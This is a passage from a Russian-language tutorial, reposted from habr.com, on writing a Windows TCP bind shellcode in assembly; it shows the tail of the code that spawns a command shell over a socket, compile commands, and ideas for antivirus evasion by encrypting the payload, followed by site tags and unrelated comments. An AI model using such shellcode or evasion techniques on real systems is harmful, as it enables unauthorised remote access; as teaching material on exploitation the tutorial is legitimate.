dwCreationFlags argument as 0.inc eaxpush eax; Push the bInheritHandles argument as ; TRUE due to the fact that the; client needs to inherit the socket file descriptor.dec eaxpush eax; Push the lpThreadAttributes argument as NULL.push eax; Push the lpProcessAttributes argument as NULL.mov eax, [ebp - 0x2c]push eax; Push the lpCommandLine argument as the pntr cmdxor eax, eaxpush eax; Push the lpApplicationName argument as NULL.call [ebp - 0x4]; Call CreateProcessA



Для компиляции шеллкода выполним:
nasm -f win32 portbind.asm & gcc -o portbind.exe portbind.obj


Запустим его и установим соединение.

Компиляция, запуск и установление соединения с шеллкодом
image

Заключение


Таким образом, мы рассмотрели один из вариантов создания Windows TCP Bind шеллкода. Другие типовые шеллкоды типа Reverse TCP или Exec cmd могут быть легко написаны после разбора этого примера.
Направления дальнейшей работы могут быть такими:
избавление шеллкода от нулевых байтов \x00. Здесь будет использоваться полиморфизм достижение одного и то же результата разными инструкциями ассемблера;
обфускация шеллкода от обнаружения антивирусами один из вариантов, когда тело шеллкода расшифровывается в памяти и затем выполняется, таким образом большинство антивирусов не обнаруживают шеллкод;
можно добавить возможность многократного подключения к шеллкоду в текущем примере для повторного подключения необходимо перезапускать шеллкод;
минимизации кода некоторые куски кода можно оптимизировать, чтобы длина шеллкода была меньше.

Полезные ссылки:
Код на githab;
Самой полезной для меня оказалась книга. В ней рассмотрены основные шеллкоды, техники (например, socket reuse);
Серия статей corelan;

Если у вас остались вопросы, то пишите в комментариях.
Источник: habr.com
К списку статей
Опубликовано: 22.10.2020 10:15:06
0

Сейчас читают

Комментариев (0)
Имя
Электронная почта

Assembler

Информационная безопасность

Разработка под windows

Реверс-инжиниринг

Shellcode

Windows shellcode

Windows shellcoding

Категории

Последние комментарии

  • Имя: Макс
    24.08.2022 | 11:28
    Я разраб в IT компании, работаю на арбитражную команду. Мы работаем с приламы и сайтами, при работе замечаются постоянные баны и лаги. Пацаны посоветовали сервис по анализу исходного кода,https://app Подробнее..
  • Имя: 9055410337
    20.08.2022 | 17:41
    поможем пишите в телеграм Подробнее..
  • Имя: sabbat
    17.08.2022 | 20:42
    Охренеть.. это просто шикарная статья, феноменально круто. Большое спасибо за разбор! Надеюсь как-нибудь с тобой связаться для обсуждений чего-либо) Подробнее..
  • Имя: Мария
    09.08.2022 | 14:44
    Добрый день. Если обладаете такой информацией, то подскажите, пожалуйста, где можно найти много-много материала по Yggdrasil и его уязвимостях для написания диплома? Благодарю. Подробнее..
© 2006-2024, personeltest.ru